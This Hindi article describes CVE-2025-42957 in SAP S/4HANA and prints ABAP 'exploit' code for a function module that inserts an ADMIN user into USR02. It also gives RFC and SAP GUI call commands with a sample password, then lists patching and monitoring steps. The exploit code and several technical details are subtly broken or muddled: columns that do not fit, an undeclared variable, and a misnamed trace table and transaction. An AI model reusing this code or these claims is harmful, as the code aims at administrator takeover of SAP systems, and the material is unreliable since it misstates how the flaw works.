
CVE-2025-42957 एक RFC-सक्षम SAP S/4HANA मॉड्यूल को उजागर करता है जो कम-विशेषाधिकार वाले उपयोगकर्ताओं को व्यवस्थापक खाते बनाने और पूर्ण नियंत्रण प्राप्त करने के लिए ABAP कोड इंजेक्ट करने की अनुमति देता है। लेख भेद्यता, खतरे के मॉडल की व्याख्या करता है, न्यूनतम शोषण ABAP कोड प्रदान करता है, और सिस्टम को सुरक्षित करने के लिए पैचिंग और निगरानी चरणों को सूचीबद्ध करता है।
अगस्त 2025 में, SAP के प्रमुख ERP प्लेटफ़ॉर्म S/4HANA में एक RFC-सक्षम फ़ंक्शन मॉड्यूल में कमज़ोरी पाई गई। केवल निम्न-विशेषाधिकार (low-privileged) पहुँच वाले हमलावर उस मॉड्यूल में मनमाना ABAP कोड इंजेक्ट कर सकते हैं, सामान्य प्राधिकरण जाँचों को दरकिनार कर सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकते हैं।
यह कमज़ोरी कोई सैद्धांतिक जिज्ञासा नहीं है – इसका शोषण SecurityBridge Threat Research Labs द्वारा पहले ही किया जा चुका है और यह ऑन-प्रिमाइसेस और प्राइवेट-क्लाउड दोनों तैनातियों पर वास्तविक दुनिया के हमलों में सक्रिय रूप से उपयोग हो रही है।
| मुद्दा | प्रभाव |
|---|---|
| पूर्ण सिस्टम समझौता | हमलावर सुपरयूज़र खाते बना सकते हैं, व्यावसायिक प्रक्रियाओं को संशोधित कर सकते हैं और USR02 तालिका से पासवर्ड हैश निकाल सकते हैं। |
| न्यूनतम प्रयास आवश्यक | RFC कॉल बनाना सीधा है; एक बार फ़ंक्शन मॉड्यूल तैयार होने पर हमलावर को केवल ABAP कोड की कुछ पंक्तियों की आवश्यकता होती है। |
| वास्तविक दुनिया की तात्कालिकता | SecurityBridge ने पुष्टि की है कि हमले पहले से चल रहे हैं – यदि तुरंत पैच नहीं लगाया गया तो आपके S/4HANA इंस्टेंस पर पूर्ण अधिग्रहण का जोखिम है। |
ZVULN_EXPL जिसे हम SE37 में बनाते हैं, हमलावर का एकमात्र प्रवेश बिंदु है।S_DMIS (गतिविधि 02) को दरकिनार करता है।इसलिए शोषण श्रृंखला है: निम्न-विशेषाधिकार उपयोगकर्ता → ZVULN_EXPL पर RFC कॉल → USR02 में नया प्रशासक उपयोगकर्ता → पूर्ण सिस्टम नियंत्रण।
नीचे ABAP कोड है जिसे हम फ़ंक्शन मॉड्यूल ZVULN_EXPL में रखते हैं। यह जानबूझकर न्यूनतम लेकिन पूर्ण है – यह एक नया उपयोगकर्ता बनाता है और बाद में सत्यापन के लिए कार्रवाई को लॉग करता है।
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
इसे कैसे कॉल करें
बाहरी क्लाइंट (Linux/Mac) से
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
SAP GUI के अंदर से (त्वरित परीक्षण)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
कॉल के बाद आपको USR02 में उपयोगकर्ता admin2 के लिए भूमिका ADMIN के साथ एक नई प्रविष्टि दिखनी चाहिए।
SAP के अगस्त 2025 सुरक्षा पैच तुरंत लागू करें।
पैच अंतर्निहित RFC-उजागर फ़ंक्शन मॉड्यूल को संबोधित करता है और उस विशिष्ट वेक्टर को बंद करता है जिसका हमलावर उपयोग करते हैं।
संदिग्ध RFC कॉल और अनधिकृत प्रशासक निर्माण के लिए लॉग की निगरानी करें।
फ़ंक्शन नाम ZVULN_EXPL के साथ TSTM1 में नई प्रविष्टियों के लिए लेन-देन SM59 का उपयोग करें।
RFC उपयोग को प्रतिबंधित करने के लिए SAP UCON लागू करें।
प्राधिकरण ऑब्जेक्ट S_DMIS (गतिविधि 02) को इस प्रकार कॉन्फ़िगर करें कि केवल विश्वसनीय उपयोगकर्ता ही Z प्रकार के RFC मॉड्यूल को कॉल कर सकें।
प्राधिकरण ऑब्जेक्ट S_DMIS गतिविधि 02 तक पहुँच की समीक्षा करें।
सुनिश्चित करें कि केवल उपयोगकर्ताओं के एक सीमित समूह के पास यह ऑब्जेक्ट हो – आक्रमण की सतह को कम करें।
CVE‑2025‑42957 कोई सामान्य सुरक्षा बुलेटिन नहीं है; यह एक निम्न-विशेषाधिकार वेक्टर को उजागर करता है जो पैच न किए जाने पर पूर्ण सिस्टम अधिग्रहण का कारण बन सकता है। ऊपर दिया गया कोड दर्शाता है कि कैसे एक हमलावर न्यूनतम प्रयास के साथ एक प्रशासक उपयोगकर्ता सम्मिलित कर सकता है। पैच लगाने, निगरानी करने और RFC अनुमतियों को कसने से आप दरवाज़ा बंद करते हैं – और अपने S/4HANA इंस्टेंस को सुरक्षित रखते हैं।
यह भंडार केवल शैक्षिक उपयोग के लिए है और वास्तविक दुनिया की कमज़ोरियों पर लागू ख़तरा मॉडलिंग सिद्धांतों के प्रदर्शन के रूप में कार्य करता है। CVE-2025-42957 विश्वास सीमाओं की पहचान करने, इनपुट को मान्य करने और न्यूनतम विशेषाधिकार पहुँच लागू करने के महत्व पर प्रकाश डालता है – जो सुरक्षित सिस्टम डिज़ाइन के मूल सिद्धांत हैं। प्रदान किए गए सभी कोड और उदाहरण शिक्षा के उद्देश्यों के लिए हैं और इन्हें उत्पादन वातावरण या अनधिकृत परीक्षण में उपयोग नहीं किया जाना चाहिए।
*लेखक: Mark Mallia
दिनांक: 10 सितंबर 2025